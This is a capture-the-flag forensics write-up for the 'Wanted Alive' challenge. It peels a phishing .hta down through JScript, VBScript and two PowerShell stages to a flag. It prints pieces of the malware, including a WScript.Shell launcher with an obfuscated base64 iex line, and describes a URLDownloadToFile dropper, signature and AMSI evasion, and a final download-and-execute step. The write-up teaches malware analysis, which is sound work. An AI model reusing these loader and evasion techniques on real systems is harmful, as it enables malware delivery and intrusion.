Challenge Info
Spoiler
Wanted Alive peels back a phishing .hta attachment through nested JScript, obfuscated VBScript, and two chained PowerShell downloaders to reach a flag served over HTTP.
In the contrary the official HTB path and description of the challenge goes as follows:
Wanted Alive is an easy forensics challenge involving the analysis of two layers of obfuscation, including Jscript and VBScript based on real malware.
Artifacts Provided
- wanted.hta — the malicious HTA attachment recovered from the bounty report.
No remote instance, no interaction — just static analysis down through the obfuscation layers to a flag served over HTTP.
Analysis
Reconnaissance — the .hta file
Dumped the raw file. Immediately obvious: triple-nested document.write(unescape("...")), forcing EmulateIE8 compatibility mode, wrapping a VbScript block full of garbage-cased variable names (OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRL...).
| |
Peeling the JS layer is nothing more than repeated unescape() — no need for the stdlib urllib.parse.unquote, since JS unescape() also handles %uXXXX sequences that the Python one doesn’t:
| |
Stage 1 — VBScript wrapper
Under the noise, the VBScript does exactly three things:
' 1. instantiate WScript.Shell (Chr(&H57) = "W")
Set X = CreateObject(Chr(&H57) & "SCRIPT.shELL")
' 2. resolve powershell.exe path via ExpandEnvironmentStrings + Chr()/ChrW() codes
X.ExpandEnvironmentStrings(Chr(&H25) & ChrW(&H53) & ... & Chr(&H25)) & "\SYStEM32\WINdOwSpoweRSheLL\V1.0\PoWERshElL.ExE"
' 3. run it with a runtime-built -Command string to dodge static "FromBase64String" signatures
iex($(iEX('[SYsTeM.TeXt.EnCoding]'+[chAr]0X3A+[CHAr]0X3A+'uTf8.geTSTring([SYstem.ConVERT]'+[chAR]58+[CHAR]58+'fRoMBASE64string('+[CHar]0X22+"<BASE64>"+[cHar]0X22+'))')))
Chr(nn) / ChrW(&Hxx) resolves with one regex + a re.sub callback:
| |
Stage 2 — first PowerShell / base64
Extracted the base64 blob and decoded it. The .NET-side call is [System.Text.Encoding]::UTF8.getString(...) — UTF-8, not the default -EncodedCommand UTF-16LE — so decode accordingly or you get garbage:
| |
| |
P/Invoke into urlmon.dll!URLDownloadToFile instead of Invoke-WebRequest/Net.WebClient — sidesteps AMSI/logging hooks that specifically watch the latter two. Drops the next stage to %APPDATA%\wanted.vbs (despite the .tIF extension on the wire — extension mismatch is itself a signal worth flagging).

Stage 3 — wanted.tIF, a trojanized winrm.vbs
Pulled http://wanted.alive.htb/35/wanted.tIF directly. Turns out to be a modified copy of Microsoft’s real winrm.vbs — functions like CreateSession, GetElementByXpath, ReFormat are genuine WSMan internals, kept intact as camouflage. The malicious block is bolted on at the top, gated by:
If Not mesor() Then ' true when NOT running under cscript.exe
Payload is built via arran = arran & "..." concatenation, where every real character is interleaved with a literal junk token — d2FudGVkCg, which is itself base64("wanted"), a signature nod to the box/domain name:
Function descortinar(ByVal descair, ByVal brita, ByVal chincharel)
' hand-rolled str.replace() — VBScript has no native equivalent
Dim sulfossal
sulfossal = InStr(descair, brita)
Do While sulfossal > 0
descair = Left(descair, sulfossal - 1) & chincharel & Mid(descair, sulfossal + Len(brita))
sulfossal = InStr(sulfossal + Len(chincharel), descair, brita)
Loop
descortinar = descair
End Function
Reassembled and stripped the junk token programmatically instead of by hand:
| |
Stage 4 — second PowerShell / flag retrieval
Cleaned output contains a final base64 blob. Decoded:
| |
| |
Disables cert validation, forces TLS 1.2 (-bor 3072), then pulls and iex’s whatever http://wanted.alive.htb/cdba/_rp returns.

Full chain
.hta
└─ JS unescape() ×3
└─ VBScript (Chr()/ChrW() obfuscation)
└─ PowerShell #1 (base64, UTF-8) → URLDownloadToFile
└─ wanted.tIF (trojanized winrm.vbs, junk-token stuffed)
└─ PowerShell #2 (base64, UTF-8) → iex(webclient.downloadstring(...))
└─ FLAG
Visiting that URL directly returns the flag — the final hop of the chain.
